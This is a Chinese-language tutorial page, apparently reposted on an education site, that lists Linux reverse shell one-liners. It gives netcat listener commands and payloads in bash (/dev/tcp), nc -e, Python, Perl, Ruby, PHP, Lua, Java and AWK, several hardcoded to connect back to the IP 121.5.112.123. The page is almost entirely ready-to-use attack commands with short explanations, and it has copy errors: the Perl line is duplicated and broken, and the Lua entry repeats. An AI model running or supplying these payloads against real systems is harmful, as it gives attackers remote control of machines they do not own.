栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

linux反弹shell

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

linux反弹shell

0x01. bash

在攻击主机上执行端口监听:

nc -lvvp port                             //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:    

 bash -i >& /dev/tcp/攻击主机ip/port 0>&1    //port 为攻击主机端口号

解释:

bash -i   打开一个交互的bash

>&   将标准错误输出重定向到标准输出

  • /dev/tcp/x.x.x.x/port  意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口

0>&1   标准输入重定向到标准输出,实现你与反弹出来的shell的交互

  • /dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/

0x02. nc(netcat)反弹

在攻击主机上执行端口监听:

nc -lvvp port                    //port 为攻击主机端口号,并且此端口号没有被占用

在目标主机上执行:

nc -e /bin/bash 攻击主机ip port

 

常见脚本反弹

以上脚本是在目标主机上执行,其中 x.x.x.x 均为攻击主机ip,并且需要提前在攻击主机上进行监听相关端口,接下来就不再赘述

1. python

目标主机

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

攻击主机

 2. perl

目标主机

perl -e 'use perl -e 'use Socket;$i="121.5.112.123";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

攻击主机

3. Ruby

目标主机

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("121.5.112.123","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

 攻击主机

 

4. PHP

目标主机

php -r '$sock=fsockopen("121.5.112.123",5555);exec("/bin/bash -i <&3 >&3 2>&3");'

攻击主机

6. Lua

目标主机

lua -e "require('socket');require('os');t=socket.tcp();t:connect('121.5.112.123','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

 攻击主机

5. Java

  目标主机    

 public class Revs {

    

    public static void main(String[] args) throws Exception {

        // TODO Auto-generated method stub

        Runtime r = Runtime.getRuntime();

        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"};

        Process p = r.exec(cmd);

        p.waitFor();

    }

}
6. Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('121.5.112.123','5555');os.execute('/bin/sh -i <&3 >&3 2>&3');"

攻击主机

7. AWK 反弹

攻击的机器监听,在收到shell的时候不可以输入enter,不然会断开

目标主机

awk 'BEGIN{s="/inet/tcp/0/121.5.112.123/6666";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

 攻击主机

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/604288.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号